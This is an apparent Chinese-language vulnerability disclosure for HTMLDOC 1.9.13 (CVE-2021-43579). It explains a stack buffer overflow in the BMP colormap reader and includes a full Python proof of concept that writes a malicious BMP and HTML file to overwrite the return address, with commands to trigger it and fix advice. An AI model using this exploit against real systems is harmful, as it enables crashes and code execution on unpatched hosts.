HTMLDOC 1.9.13 - 栈缓冲区溢出漏洞分析
漏洞概述
HTMLDOC 1.9.13版本中的BMP图像解析器存在栈缓冲区溢出漏洞。该漏洞位于image_load_bmp函数中,攻击者可以通过特制的BMP文件触发缓冲区溢出,实现远程代码执行。
技术细节
漏洞位置
- 漏洞函数:
image_load_bmp
- 受影响组件:BMP图像解析器
- 漏洞类型:栈缓冲区溢出
漏洞分析
HTMLDOC的BMP读取器使用固定大小的栈缓冲区存储颜色调色板:
1
2
3
4
|
int colors_used;
uchar colormap[256][4]; // 1024字节栈缓冲区
colors_used = (int)read_dword(fp); // 读取biClrUsed字段
fread(colormap, (size_t)colors_used, 4, fp);
|
虽然v1.9.13修复了拒绝colors_used > 256的情况,但未对负值进行检查。当biClrUsed字段设置为0xffffffff(即-1)时:
colors_used被赋值为-1
- 转换为
size_t类型后变为SIZE_MAX
fread尝试复制巨大数据量到1024字节的栈缓冲区
利用原理
载荷结构:
- 1080个’A’字节:填满1024字节缓冲区并溢出56字节
- 8个’B’字节:覆盖x86_64架构下的保存返回地址
崩溃示例:
1
2
|
► 0 0x55555559dbb7 image_load_bmp(image_t*, _IO_FILE*, int, int)+2615
1 0x4242424242424242 None
|
启用_FORTIFY_SOURCE=2时能检测到溢出:
1
|
*** buffer overflow detected ***: terminated
|
利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: <= 1.9.13
# Tested on: Linux x86_64
# CVE: CVE-2021-43579
# 14字节BITMAPFILEHEADER
BITMAPFILEHEADER = (
b"\x42\x4d" # bfType
b"\x00\x00\x00\x00" # bfSize
b"\x00\x00" # bfReserved1
b"\x00\x00" # bfReserved2
b"\x00\x00\x00\x00" # bfOffBits
)
# 40字节BITMAPINFOHEADER
BITMAPINFOHEADER = (
b"\x00\x00\x00\x00" # biSize
b"\x01\x00\x00\x00" # biWidth = 0x00000001 (1)
b"\x01\x00\x00\x00" # biHeight = 0x00000001 (1)
b"\x00\x00" # biPlanes
b"\x00\x00" # biBitCount
b"\x00\x00\x00\x00" # biCompression
b"\x00\x00\x00\x00" # biSizeImage
b"\x00\x00\x00\x00" # biXPelsPerMeter
b"\x00\x00\x00\x00" # biYPelsPerMeter
b"\xff\xff\xff\xff" # biClrUsed = 0xffffffff (-1)
b"\x00\x00\x00\x00" # biClrImportant
)
PAYLOAD = b"A" * 1080 # 循环模式:uaakvaak
PAYLOAD += b"B" * 8 # RIP覆盖
def generate_poc_bmp():
with open("poc.bmp", "+wb") as poc_bmp:
poc_bmp.write((BITMAPFILEHEADER + BITMAPINFOHEADER) + PAYLOAD)
def generate_poc_html():
with open("poc.html", "+w") as poc_html:
poc_html.write("<html><img src='./poc.bmp'/></html>")
if __name__ == "__main__":
generate_poc_bmp()
generate_poc_html()
|
使用方法
- 生成HTML和恶意BMP文件:
python3 CVE-2021-43579.py
- 通过HTMLDOC触发:
htmldoc --webpage -f out.pdf poc.html
影响版本
修复建议
升级到已修复的HTMLDOC版本,或对biClrUsed字段进行严格的边界检查,包括负值情况。